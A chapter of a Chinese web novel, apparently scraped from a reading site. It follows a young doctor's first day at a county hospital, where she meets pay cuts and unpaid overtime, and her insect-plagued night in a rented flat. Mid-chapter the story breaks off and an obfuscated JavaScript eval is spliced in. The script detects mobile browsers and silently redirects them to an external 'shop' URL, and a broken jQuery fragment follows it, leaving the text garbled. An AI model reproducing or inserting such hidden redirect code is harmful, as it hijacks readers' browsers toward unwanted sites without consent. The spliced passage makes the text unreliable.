周霏背着包,找到了医院人事科。

    县中医院一共两栋楼,左边一栋,右边一栋,08年地震以后这个小县城得到了一大笔资金帮扶,社会各界踊跃捐献了很多仪器设备,于是慢慢地原本的康复中心也就做成了县中医院。

    还成了个二甲。

    医院等级分三级,三级最大,一级最小,这三级里面又分甲乙丙三等,三级甲等是最好,而三级丙等又大于二级甲等,周霏是重本医科大学毕业,又完成了三年规培,放在县城医院里也算热手,只要是本科以上的医生,这里的医院都会想方设法给个编制,为了留住人。

    但今时不同往日,由于各种政策影响,大部分医院都面临着亏损,裁员降薪层出不穷,公立医院倒闭的比比皆是,在这种环境下,有些人开始物色倒闭的医院,预备收购以后改为私立——这是有钱人的玩法,有些人则离开了这个行业,转而去做别的。

    但除了天赋异禀的那些人,大部分人都没有什么转行的机会,换了行业,一切从头再来,没什么信息经验,年龄也大了,白白投入时间精力,却不一定能获得什么好结果了。

    因此,周霏在父母的帮衬下,回了老家的医院。

    来之前她想了很久,在县医院上班,以后恐怕也要在这里长时间生活了,倒也不是不好,毕竟婆婆爷爷都在这,她也对城市生活感到了疲惫,能够过得轻松自在一点,也算是一个好事。

    只是,报道却和规培入职的流程不太一样,去了人事科以后,那边并没有让她先体检签合同,而是问她今天能不能开始工作,周霏没有多想,直接回了好。

    她也好奇县城医院的工作强度,规培的日子里难免听些临床躺学的视频,看些县城乡镇卫生院的工作vlog,在她印象里这些地方工作应该是轻松的——但也说不准,毕竟一上来就要她干活,恐怕还是缺人。

    她只来得及找机会问了句工作服在哪儿领,对方说到了科室以后那边的主任会安排,于是她就闭嘴了。

    这大概是试用期吧。

    尽管已经二十多岁,但除了兼职以外,周霏还没有正式地找过什么工作,实际上她的内心里一大半还是学生心态,来之前她和父母核对过情况,第一个月不签合同,试用,工作一个月以后再签,试用期不买保险,一个月三千左右,签合同之后就是四千,等到了时间就安排她考编,有了编制,一个月工资就有五六千了,那就很高了。

    五六千其实不算高,但在县城也够用,只是,这种工资只能在县城生活,算是以后的人生也以县城为基础了。

    周霏不由得想到了以后如果恋爱结婚生子也在县城的场景,骨子里残余的那点绩优主义抖了一下,大喊不要,但很快,她又压了下去,心想,突然想这么远干什么,这辈子指不定是一个人活到老呢。

    到了地方,先见过主任,主任姓曾,是个外姓,全名叫做曾强,正一边给人扎针一边举着什么。

    人事科的杨月带着周霏走过去,跟他说,“曾主任,您要的人带来了。”

    可不是曾主任要的人。

    周霏自己心底倒是很清楚这一点,是她自己有意回来,于是父母才托了关系找人询问,然后才得知有亲戚的亲戚在这家医院工作,对方是个专科生,但在这家医院里也混到了主任,得知身为本科生的周霏愿意回来,自然很是欢迎,询问周霏愿意在哪个科室待。周霏自己想要选个轻松的科室,她本想直接问有没有可以双休的科室,但不太好意思说出口,对方也说回来县里工作虽然别的求不到,但工作强度肯定是大大减少的,这么一听,周霏自然以为休息时间较多,于是也不追问,想了想,说了几个科室,最后还是定在了针灸科。

    这边说定了,那边才去联系人,但就这么联系,看父母信誓旦旦的样子,周霏本人倒是觉得不太靠谱。

    不过,又能怎么不靠谱呢?走一步看一步好了。

    工作服的解决方式相当粗暴,如同周霏曾经每一次见习、实习那样,去到科室报告以后,对方直接拿来一件闲置的白大褂给周霏,让周霏先将就穿着。

    一早上便忙的脚不沾地,劳累强度竟然只比曾经规培时轻上一点,这里的治疗项目有十来种,全都要医生做,护士人数少,需要负责别的工作,因此工作的内容还比规培实习时多些,好在病人都很和善,干了一个早上,竟然没有遇到一个病人骂她,唯有一个中年女性甩了脸子——因为周霏给她取完针以后没给她提供免费的推拿按摩。

    女人提醒周霏给自己按摩一下,周霏说不会,转身去做别的事了,要是换了一两年前,恐怕也就给人做了,但推拿太费手,她给她按了,那一堆活还得她去做,久而久之废掉的是自己的手,无论是腱鞘炎还是网球肘,总归没什么好处,只有坏处。

    等到十二点,周霏去往办公室,对主任说,“主任,那我下班了。”

    她早已经注意到其他几个医生十一点半左右就走了,但她今天才来,还不确定这里的规矩,因此多留了一会儿,看主任也还在干活,对这主任多了一丝同情。

    中午回家的时候,婆婆爷爷和爸爸妈妈已经帮她把租下的房子收拾好了,说是里里外外擦了几遍,她用手摸了一下,还有薄灰在上头,足以见得房东说了假话,倘若这房子真的那么抢手,不会积下这种难以去除的灰尘。

    于是她又拿了纸巾和水反复擦拭,尤其是桌子和衣柜,因为嫌脏,内衣之类的全都单独放在袋子里,没有取出来摆在衣柜里,挂衣服的那一格衣柜更是来来回回用纸巾一点点擦了五次,直到白纸上再不见灰,这才停下。

    这么一折腾就到了一点半,午饭一家人坐在一起吃的,周霏听着家里人商量要好好感谢亲戚和亲戚的亲戚,难为人家帮忙找工作,跟着点头嗯了几声,心里到是在想——还不见得最终是什么情况呢,再看再说吧。

    这里的工作时间确实更短,早上八点半上班,中午十二点下班——不过看其他那些人离开的时间,周霏认为下班时间应该是十一点半,下午两点上班,五点下班——这是主任说的,参考其他人中午离开的时间,周霏于是又减了半个小时,认为应该是四点半下班。

    主任告诉她的上下班时间不完全可信的原因也很好猜,这地方的工作人员大多都是专科,甚至可能不是大专,而是中专,规培自然是不会参加的,最多也就是四处进修,因此主任很可能想以她开始调整一下科室的结构状态,先卷带后卷嘛。

    看主任那上班辛苦的样子,周霏想,他大概是想让科室里的人多做点,这样他自己也不必天天加班了。

    下午四点半的时候,果然看见其他人都走了,倒是主任开口要她加班,一留就留到了九点半,她问了工资的事,说到第一个月的工资是不是能有三千左右的时候,主任面露难色,迟疑道,“给不了那么多,最多两千左右。”

    这一听,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635039|206534||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    周霏明了了。

    两千都拿不到。

    好吧,没关系,钱拿的不多也没事,今天被留着加班到九点半也没有关系,只要后面的日子真能好好休息就行。

    九点半以后主任终于放人,她一个人走夜路回了小区,又顺着楼梯爬了五层,开门时出租屋里已经没有其他人了,只有她一个,她洗了漱,给妈妈拨去视频电话,又问候过婆婆爷爷,躺在床上预备睡觉。

    过几天得把WiFi装了。

    这样想着,她闭上了眼睛。

    只是,闭上眼以后,躺着躺着,脸颊旁却有什么在动,她微微抬起脸,那东西立刻跑了出去,周霏心里一紧,浑身汗毛直立,连忙打开手机电筒去看,竟然看见一只小虫,这一下不得了,把床铺重新打过一次灰,有些心慌地去上了个厕所。

    刚蹲下,正心情好受一些,想这地方有虫也很常见,毕竟很贴近自然环境的时候,有什么咔哒一声从脑后掉了下来,呈抛物线掠过她的肩头,落到地上。

    ——一只拇指大的金色甲虫,晃眼一看,她还以为是蟑螂。

    周霏吓得头皮发麻,上完厕所以后连甲虫也不敢碰,回到床上躺着,怎么也睡不了了,浑身像有蚂蚁在爬,翻来覆去翻来覆去,最后点开手机,凌晨三点,一条条给妈妈和弟弟发消息。

    妈妈竟然很快回了她,打电话过来安慰她,聊了几句,周霏仍觉难受,还是浑身发痒,根本睡不着,但也不好再拖着妈妈熬夜,于是应了几声好,又躺下了。

    挂电话之前她忍不住问,“妈妈你怎么没睡觉。”

    妈妈说,“想着你一个人在那边,半夜醒了,正好看看手机。”

    这时候,手机屏幕又亮了一下,弟弟竟然也没有睡。

    弟弟没有打电话,只是发了几条消息。

    【弟:神听到了你的呼唤,所以神来了。】

    【弟:(转账500)】

    【弟:拿去吃点好吃的,买个新床单,没事,都是小问题。】

    周霏大为感动,一边收钱一边问弟弟,怎么大晚上还醒着,是不是夜里站岗。

    没想到弟弟说,他是半夜忽然醒了,上个厕所,顺便看看手机。

    这种奇妙的一家人的羁绊令周霏心底感受到了些许安慰,她和弟弟聊了几句,彼此都打算睡觉,但因为弟弟工作特殊,实际上他们已经许久没有见面了,她不由得问了句,“什么时候休息?有时间一起玩游戏吧。”

    “玩什么游戏?”弟在那头发文字问她。

    她想了想,市面上许多游戏她都已经和弟弟一起玩过了,倒是有一款游戏温馨充实又休闲,可以让弟弟试试看。

    那款游戏让她熬过了一段灰暗的时光,因此意义有些不同。

    “星露谷物语,你玩吗?”

    她电脑里的这款游戏一直留着,存档都搞出来几十个了。

    弟显然已经困了,“有时间再说吧,看后面有没有空了,睡了姐,晚安。”

    于是两人中断了通话,周霏又忍着痒在床上躺了一个多小时,这才堪堪入眠。

    最终,这出租屋里的第一晚,她就睡了个把小时,以至于早上七点才起床,这时候外面的天已经大亮了,群山叠嶂,白雾缭绕在山头,这样美好的景色令人心旷神怡,这里的空气也比城市清新,她洗漱以后给自己清炒了一盘三月瓜,满足地吃完,就这么解决完了早饭,然后出发上班。